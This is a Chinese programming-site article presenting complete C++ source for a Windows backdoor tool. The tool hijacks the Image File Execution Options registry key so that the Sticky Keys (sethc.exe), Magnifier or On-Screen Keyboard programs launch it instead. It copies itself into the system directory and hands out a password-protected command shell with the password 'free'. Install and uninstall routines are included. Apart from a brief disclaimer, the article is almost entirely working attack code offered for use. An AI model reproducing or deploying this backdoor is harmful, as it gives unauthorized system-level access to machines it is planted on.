C++映像劫持后門實(shí)例分析
更新時(shí)間:2015年04月25日 10:55:48 作者:#a
這篇文章主要介紹了C++映像劫持后門,實(shí)例分析了C++映像劫持后門的原理與相關(guān)實(shí)現(xiàn)技巧,有助于進(jìn)一步了解后門的原理,需要的朋友可以參考下
本文實(shí)例講述了C++映像劫持后門的方法。分享給大家供大家參考。具體如下:
// freeheart.cpp : Defines the entry point for the console application. //學(xué)習(xí)交流使用,違法使用后果自負(fù)。 // by:cnblogs.com/blogg time 2013.5.24 // argv 0 = freeheart.exe // argv 1 = -i // argv 2 = name.exe // argv 3 = 1 2 3 // 此程序使用的映像劫持技術(shù), // 在注冊(cè)表當(dāng)中建立一個(gè)程序名的項(xiàng)目,在里面使用debugger,然后在里面指向自己的程序。 //[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options] // #include "stdafx.h" #include "windows.h" #include "atlbase.h" #include <iostream> using namespace std; int main(int argc, char* argv[]) { void anzhuang(char *Path,char *filename); void xiezai(char *path,char *hName); void CopyZiji(char *CopyPath); char *password = "free"; //真密碼緩沖區(qū) char *shuruPwd = ""; //輸入的密碼緩沖區(qū) int errorbuff = 0; char *PathBuff = ""; char *FileName = ""; char *chsname = "sethc.exe"; //SHIFT粘貼鍵程序的名稱 char *fangdajing = "magnify.exe"; // char *pingmujianpan = "osk.exe"; // LPTSTR sysbuff; //得到系統(tǒng)路徑的緩沖區(qū) TCHAR tchBuffer2[1024]; //申請(qǐng)一個(gè)字符變量數(shù)組 sysbuff = tchBuffer2; //把系統(tǒng)的路徑放到這個(gè)變量數(shù)組里 if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系統(tǒng)路徑 { sysbuff = strcat(sysbuff,"\\"); //strcat 剪切在一起,把\\放在系統(tǒng)路徑的后面,然后放入系統(tǒng)緩沖區(qū)當(dāng)中。 } if (argv[1] != NULL) { //安裝命令判斷 if (strcmp(argv[1],"-i") == 0) { if (argv[2] != NULL) { FileName=argv[2]; } else { cout<<"請(qǐng)輸入文件名!"; return 0; } if(argv[3] != NULL) { if(strcmp(argv[3],"1") == 0) { anzhuang(FileName,chsname); PathBuff = strcat(sysbuff,FileName); CopyZiji(PathBuff); cout<<"創(chuàng)建完成! : "<<PathBuff<<endl; return 0; } if(strcmp(argv[3],"2") == 0) { anzhuang(FileName,fangdajing); PathBuff = strcat(sysbuff,FileName); CopyZiji(PathBuff); //調(diào)用函數(shù) cout<<"創(chuàng)建完成! : "<<PathBuff<<endl; return 0; } if(strcmp(argv[3],"3") == 0) { anzhuang(FileName,pingmujianpan); PathBuff = strcat(sysbuff,FileName); CopyZiji(PathBuff); //調(diào)用函數(shù) cout<<"創(chuàng)建完成! : "<<PathBuff<<endl; return 0; } } else { cout<<"請(qǐng)輸入?yún)?shù)!"<<endl; } return 0; } //卸載 if (strcmp(argv[1],"-u") == 0) { if(argv[2] != NULL) { if(strcmp(argv[2],"1") == 0) { xiezai(sysbuff,chsname); cout<<"刪除文件成功!"<<endl; return 0; } if(strcmp(argv[2],"2") == 0) { xiezai(sysbuff,fangdajing); cout<<"刪除文件成功!"<<endl; return 0; } if(strcmp(argv[2],"3") == 0) { xiezai(sysbuff,pingmujianpan); cout<<"刪除文件成功!"<<endl; return 0; } } else { cout<<"請(qǐng)輸入?yún)?shù)!"<<endl; } return 0; } //為什么會(huì)進(jìn)入這里 因?yàn)閐ebugger a.exe 其實(shí)是兩個(gè)參數(shù),因?yàn)閕f (argv[1] != NULL) 也就是第二個(gè)參數(shù)不等于空的話執(zhí)行下面的語句。 while(errorbuff<3) //循環(huán)三次,錯(cuò)誤。 { cout<<"password:"; cin>>shuruPwd; if (strcmp(shuruPwd,password) == 0) { system("cmd.exe"); break; } else { cout<<"密碼錯(cuò)誤!"<<endl; } errorbuff++; //自加一次 } return 0; } system("color a"); cout<<"-----------------------------------------------------"<<endl; cout<<"歡迎光臨自由的心,祝您好運(yùn)!"<<endl; cout<<"1: sethc.exe Shift后門\n"; cout<<"2: magnify.exe 放大鏡后門\n"; cout<<"3: osk.exe 屏幕鍵盤后門\n"; cout<<"-----------------------------------------------------"<<endl; cout<<"安裝: freeheart.exe -i xx.exe 1"<<endl; cout<<"卸載: freeheart.exe -u 1"<<endl; cout<<"連接密碼:free"<<endl; cout<<"-----------------------------------------------------"<<endl; return 0; } //安裝函數(shù) void anzhuang(char *Path,char *filename) { HKEY hSoftKey = NULL; HKEY hCompanyKey = NULL; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS) { if (RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS) { LPBYTE Value=(LPBYTE)Path; long ret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50); RegCloseKey(hCompanyKey); } RegCloseKey(hSoftKey); } } //卸載函數(shù) void xiezai(char *path,char *hName) //hName 傳遞進(jìn)來的程序名 { HKEY hSoftKey = NULL; LPCTSTR hMainKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS) { DWORD len = 256; DWORD type = REG_SZ; LPBYTE last = new BYTE[256]; LPCTSTR hname = (LPCTSTR)hName; char *HHname; HKEY hKey; //在注冊(cè)表當(dāng)中創(chuàng)建一個(gè)magnify名的項(xiàng),在里面當(dāng)中加入debugger,里面跟上自己的程序名的值。 char* DelCom; HHname=strcat((char *)hMainKey,"\\"); //hmainkey 注冊(cè)表的路徑 HHname=strcat((char *)hMainKey,(char *)hname); //hname 程序名 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS) { DelCom=strcat(path,reinterpret_cast <char*>(last)); DeleteFile(DelCom); //刪除文件 RegDeleteKey(hSoftKey,hname); //刪除注冊(cè)表 } RegCloseKey(hSoftKey); //關(guān)閉句柄 RegCloseKey(hKey); //關(guān)閉句柄 } } void CopyZiji(char *CopyPath) //將自身生成exe文件復(fù)制到指定的路徑下 { char PathBuff[MAX_PATH]; //申請(qǐng)一個(gè)字符變量數(shù)組,大小是系統(tǒng)最大的長度。 GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一個(gè)參數(shù)為NULL,就表示獲取當(dāng)前程序的路徑,第二個(gè)參數(shù)就是存放到緩沖區(qū)。 CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身復(fù)制到目標(biāo)路徑當(dāng)中 }
希望本文所述對(duì)大家的C++程序設(shè)計(jì)有所幫助。
相關(guān)文章
C++類重載函數(shù)的function和bind使用示例
這篇文章主要介紹了C++類重載函數(shù)的function和bind使用示例,幫助大家更好的理解和使用c++,感興趣的朋友可以了解下2021-01-01詳解c++ atomic原子編程中的Memory Order
在多核編程中,我們使用內(nèi)核對(duì)象【如:事件對(duì)象(Event)、互斥量對(duì)象(Mutex,或互斥體對(duì)象)、信號(hào)量對(duì)象(Semaphore)等】來避免多個(gè)線程修改同一個(gè)數(shù)據(jù)時(shí)產(chǎn)生的競(jìng)爭(zhēng)條件。本文將詳細(xì)介紹c++ atomic原子編程中的Memory Order。2021-06-06C++數(shù)位DP復(fù)雜度統(tǒng)計(jì)數(shù)字問題示例詳解
這篇文章主要為大家介紹了利用C++數(shù)位DP的復(fù)雜度來統(tǒng)計(jì)數(shù)字問題的示例實(shí)現(xiàn)過程詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升值加薪2021-11-11簡述C語言中system()函數(shù)與vfork()函數(shù)的使用方法
這篇文章主要介紹了簡述C語言中system()函數(shù)與vfork()函數(shù)的使用方法,是C語言入門學(xué)習(xí)中的基礎(chǔ)知識(shí),需要的朋友可以參考下2015-08-08C++實(shí)現(xiàn)LeetCode(135.分糖果問題)
這篇文章主要介紹了C++實(shí)現(xiàn)LeetCode(135.分糖果問題),本篇文章通過簡要的案例,講解了該項(xiàng)技術(shù)的了解與使用,以下就是詳細(xì)內(nèi)容,需要的朋友可以參考下2021-07-07